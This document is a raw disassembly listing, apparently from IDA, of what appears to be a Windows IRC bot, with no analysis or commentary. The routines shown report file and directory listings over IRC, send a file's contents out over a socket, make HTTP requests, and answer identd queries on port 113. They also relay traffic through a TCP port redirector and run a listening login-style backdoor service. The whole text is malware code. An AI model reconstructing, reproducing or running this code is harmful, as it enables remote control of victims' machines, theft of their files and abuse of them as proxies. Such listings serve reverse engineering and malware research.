push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41C266
add esp, 14h
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_41036B+5F5j
cmp [ebp+arg_C], ebx
jz short loc_4109B1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_4109B1: ; CODE XREF: sub_41036B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41C266
add esp, 10h
loc_4109CB: ; CODE XREF: sub_41036B+62Aj
; sub_41036B+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_41036B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_4270F8 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410AA9
push esi
push ebx
call ds:dword_427114 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410AA2
loc_410A36: ; CODE XREF: sub_4109F1+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41BF70
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410A53
mov edi, [ebp+arg_4]
loc_410A53: ; CODE XREF: sub_4109F1+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_427128 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call ds:dword_4270EC ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410A9D
call dword_4CB968 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_410AA2
xor eax, eax
loc_410A9D: ; CODE XREF: sub_4109F1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410A36
loc_410AA2: ; CODE XREF: sub_4109F1+43j
; sub_4109F1+A8j
push ebx
call ds:dword_427070 ; CloseHandle
loc_410AA9: ; CODE XREF: sub_4109F1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4109F1 endp
; =============== S U B R O U T I N E =======================================
sub_410AAE proc near ; CODE XREF: sub_4100B4+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_410AD7
loc_410AC1: ; CODE XREF: sub_410AAE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410ACB
mov byte ptr [esi+edi], 2Fh
loc_410ACB: ; CODE XREF: sub_410AAE+17j
push edi
inc esi
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_410AC1
loc_410AD7: ; CODE XREF: sub_410AAE+11j
mov eax, edi
pop edi
pop esi
retn
sub_410AAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB944 ; WSAStartup
push 6
push 1
push 2
call dword_4CBA54 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CB9D4 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410BB9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410B55
mov eax, offset byte_43DB88
loc_410B55: ; CODE XREF: sub_410ADC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CBA24 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CB9EC ; recv
pop esi
loc_410BB9: ; CODE XREF: sub_410ADC+6Bj
push ebx
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41C266
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410BF9
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_410BF9: ; CODE XREF: sub_410ADC+102j
pop edi
pop ebx
leave
retn
sub_410ADC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410BFD proc near ; DATA XREF: sub_401221+445o
; sub_401ACD+438Bo
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_1C]
push esi
push eax
mov [ebp+var_8], esi
call sub_41BF70
add esp, 0Ch
mov [ebp+var_1C], 2
push 71h
call dword_4CB9D4 ; htons
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410D61
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_43E91C[eax], ebx
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jz loc_410D61
push 5
push ebx
call dword_4CB9FC ; listen
cmp eax, 0FFFFFFFFh
jz loc_410D61
mov [ebp+var_C], edi
mov edi, 200h
loc_410C88: ; CODE XREF: sub_410BFD+EAj
; sub_410BFD+14Dj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_410D5C
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_238]
push offset dword_435164
push eax
call sub_41C266
lea eax, [ebp+var_238]
push eax
call sub_415D38
add esp, 14h
lea eax, [ebp+var_238]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_410C88
lea eax, [ebp+var_238]
push esi
push eax
call sub_4184CC
push 0Ch
lea eax, [ebp+var_38]
push esi
push eax
call sub_41BF70
push esi
push esi
lea eax, [ebp+var_38]
push 2
push eax
call sub_40AE84
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+var_238]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_238]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_4]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_410C88
mov [ebp+var_8], 1
jmp loc_410C88
; ---------------------------------------------------------------------------
loc_410D5C: ; CODE XREF: sub_410BFD+A0j
cmp [ebp+var_8], esi
jnz short loc_410D88
loc_410D61: ; CODE XREF: sub_410BFD+47j
; sub_410BFD+6Bj ...
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_238]
push offset dword_435120
push eax
call sub_41C266
lea eax, [ebp+var_238]
push eax
call sub_415D38
add esp, 10h
loc_410D88: ; CODE XREF: sub_410BFD+162j
push ebx
call dword_4CBA6C ; closesocket
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_410BFD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410DAB proc near ; DATA XREF: sub_401ACD+605Do
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410F17
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E91C[ecx], eax
call dword_4CB8E4 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA00 ; bind
test eax, eax
jnz loc_410F17
push 0Ah
push [ebp+arg_0]
call dword_4CB9FC ; listen
test eax, eax
jnz loc_410F17
loc_410E5B: ; CODE XREF: sub_410DAB+C6j
; sub_410DAB+147j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4CBA68 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410E5B
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_4351CC
push eax
call sub_41C266
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_40B3BA
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_410F3C
push esi
push esi
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_43E924[ecx], eax
jz short loc_410F02
loc_410EEF: ; CODE XREF: sub_410DAB+155j
cmp [ebp+var_30], esi
jnz loc_410E5B
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_410EEF
; ---------------------------------------------------------------------------
loc_410F02: ; CODE XREF: sub_410DAB+142j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435190
call sub_415DAC
pop ecx
pop ecx
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F17: ; CODE XREF: sub_410DAB+63j
; sub_410DAB+97j ...
mov edi, [ebp+arg_0]
loc_410F1A: ; CODE XREF: sub_410DAB+16Aj
push edi
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push [ebp+var_40]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_410DAB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F3C proc near ; DATA XREF: sub_410DAB+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CBA54 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_4110F2
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_4CB9D4 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_410FCC
lea eax, [ebp+var_13C]
push eax
call dword_4CBA58 ; gethostbyname
jmp short loc_410FDA
; ---------------------------------------------------------------------------
loc_410FCC: ; CODE XREF: sub_410F3C+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
loc_410FDA: ; CODE XREF: sub_410F3C+8Ej
cmp eax, edi
jz loc_4110F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_4110F2
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_435254
push eax
call sub_41C266
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_40B3BA
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_43E91C[ebx]
mov dword_43E914[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E920[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_411123
push edi
push edi
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_4110DF
loc_41108C: ; CODE XREF: sub_410F3C+15Dj
cmp [ebp+var_20], edi
jnz short loc_41109B
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_41108C
; ---------------------------------------------------------------------------
loc_41109B: ; CODE XREF: sub_410F3C+153j
mov ebx, 1000h
loc_4110A0: ; CODE XREF: sub_410F3C+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC ; recv
cmp eax, edi
jle short loc_4110F2
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4110A0
jmp short loc_4110F2
; ---------------------------------------------------------------------------
loc_4110DF: ; CODE XREF: sub_410F3C+14Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435214
call sub_415DAC
pop ecx
pop ecx
loc_4110F2: ; CODE XREF: sub_410F3C+44j
; sub_410F3C+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_43E91C[eax]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push [ebp+var_4]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_410F3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411123 proc near ; DATA XREF: sub_410F3C+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C500
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41115A: ; CODE XREF: sub_411123+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_43E920[esi]
call dword_4CB9EC ; recv
test eax, eax
jle short loc_4111A1
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_43E91C[esi]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41115A
loc_4111A1: ; CODE XREF: sub_411123+61j
push dword_43E920[esi]
call dword_4CBA6C ; closesocket
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_411123 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111C0 proc near ; DATA XREF: sub_41144E+1BEo
var_3D4 = byte ptr -3D4h
var_350 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_43E91C[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_4CB9BC ; select
test eax, eax
jnz short loc_411244
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_411244: ; CODE XREF: sub_4111C0+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC ; recv
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_4113C5
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_4CB928 ; getpeername
test eax, eax
jz short loc_4112BD
call dword_4CB968 ; WSAGetLastError
push eax
push offset unk_43532C
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 0Ch
push edi
call ds:dword_4270D4 ; ExitThread
loc_4112BD: ; CODE XREF: sub_4111C0+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
cmp eax, edi
jnz short loc_4112E7
push [ebp+var_18]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_B0]
push eax
call sub_41C266
jmp short loc_4112F5
; ---------------------------------------------------------------------------
loc_4112E7: ; CODE XREF: sub_4111C0+10Dj
push dword ptr [eax]
lea eax, [ebp+var_B0]
push eax
call sub_41C890
loc_4112F5: ; CODE XREF: sub_4111C0+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43DB88
push dword ptr [esi]
call dword_4CBA24 ; send
cmp dword_4CE72C, edi
jnz short loc_411357
push [ebp+var_18]
lea eax, [ebp+var_350]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41141F
add esp, 10h
test eax, eax
jnz short loc_411357
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_411357: ; CODE XREF: sub_4111C0+14Cj
; sub_4111C0+16Dj
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_4352F0
call sub_415DAC
push [ebp+arg_0]
call sub_4116D6
add esp, 10h
test eax, eax
jnz short loc_41139E
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4352C4
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 0Ch
push ebx
call ds:dword_4270D4 ; ExitThread
loc_41139E: ; CODE XREF: sub_4111C0+1B9j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_435298
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call ds:dword_4270D4 ; ExitThread
sub_4111C0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113C5 proc near ; CODE XREF: sub_4111C0+9Ap
; sub_4111C0+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 1
jnz short loc_411415
mov esi, [ebp+arg_4]
loc_4113E3: ; CODE XREF: sub_4113C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41140A
test al, al
jz short loc_411419
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 1
jz short loc_4113E3
jmp short loc_411415
; ---------------------------------------------------------------------------
loc_41140A: ; CODE XREF: sub_4113C5+27j
push offset unk_435358
call sub_415DAC
pop ecx
loc_411415: ; CODE XREF: sub_4113C5+19j
; sub_4113C5+43j
xor eax, eax
jmp short loc_41141C
; ---------------------------------------------------------------------------
loc_411419: ; CODE XREF: sub_4113C5+2Bj
push 1
pop eax
loc_41141C: ; CODE XREF: sub_4113C5+52j
pop esi
leave
retn
sub_4113C5 endp
; =============== S U B R O U T I N E =======================================
sub_41141F proc near ; CODE XREF: sub_4111C0+163p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41144A
push [esp+arg_4]
push [esp+4+arg_0]
push offset unk_435384
call sub_415DAC
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41144A: ; CODE XREF: sub_41141F+11j
push 1
pop eax
retn
sub_41141F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41144E proc near ; DATA XREF: sub_401ACD+237Ao
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_4CB944 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_4114A7
push eax
push offset unk_4354F4
call sub_415DAC
push [ebp+var_4C]
call sub_40B6D6
add esp, 0Ch
push edi
call ds:dword_4270D4 ; ExitThread
loc_4114A7: ; CODE XREF: sub_41144E+3Aj
push edi
push offset loc_4116CC
call ds:dword_42712C ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_4114E0
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4354B0
call sub_415DAC
pop ecx
pop ecx
call dword_4CB92C ; WSACleanup
push [ebp+var_4C]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
loc_4114E0: ; CODE XREF: sub_41144E+67j
push ebx
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_20], 2
push [ebp+var_50]
call dword_4CB9D4 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_411657
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_43E91C[eax], ebx
lea eax, [ebp+var_20]
push eax
push ebx
call dword_4CBA00 ; bind
test eax, eax
jnz loc_411657
push 7FFFFFFFh
push ebx
call dword_4CB9FC ; listen
test eax, eax
jnz loc_411657
push offset unk_435474
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_415D38
pop ecx
mov [ebp+arg_0], edi
loc_41156F: ; CODE XREF: sub_41144E+15Aj
; sub_41144E+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_4CBA68 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_41165A
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_41156F
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_414]
push offset unk_435430
push eax
call sub_41C266
lea eax, [ebp+var_414]
push eax
call sub_415D38
push edi
lea eax, [ebp+var_414]
push 9
push eax
call sub_40B3BA
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_4111C0
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_43E924[ecx], eax
jz short loc_411642
loc_41162F: ; CODE XREF: sub_41144E+1F2j
cmp [ebp+var_38], esi
jnz loc_41156F
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_41162F
; ---------------------------------------------------------------------------
loc_411642: ; CODE XREF: sub_41144E+1DFj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4353F4
call sub_415DAC
pop ecx
pop ecx
jmp short loc_41165A
; ---------------------------------------------------------------------------
loc_411657: ; CODE XREF: sub_41144E+C8j
; sub_41144E+ECj ...
mov edi, [ebp+arg_0]
loc_41165A: ; CODE XREF: sub_41144E+13Cj
; sub_41144E+207j
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_414]
push offset unk_4353BC
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_41169A
push esi
lea eax, [ebp+var_414]
push [ebp+var_40]
push eax
lea eax, [ebp+var_210]
push eax
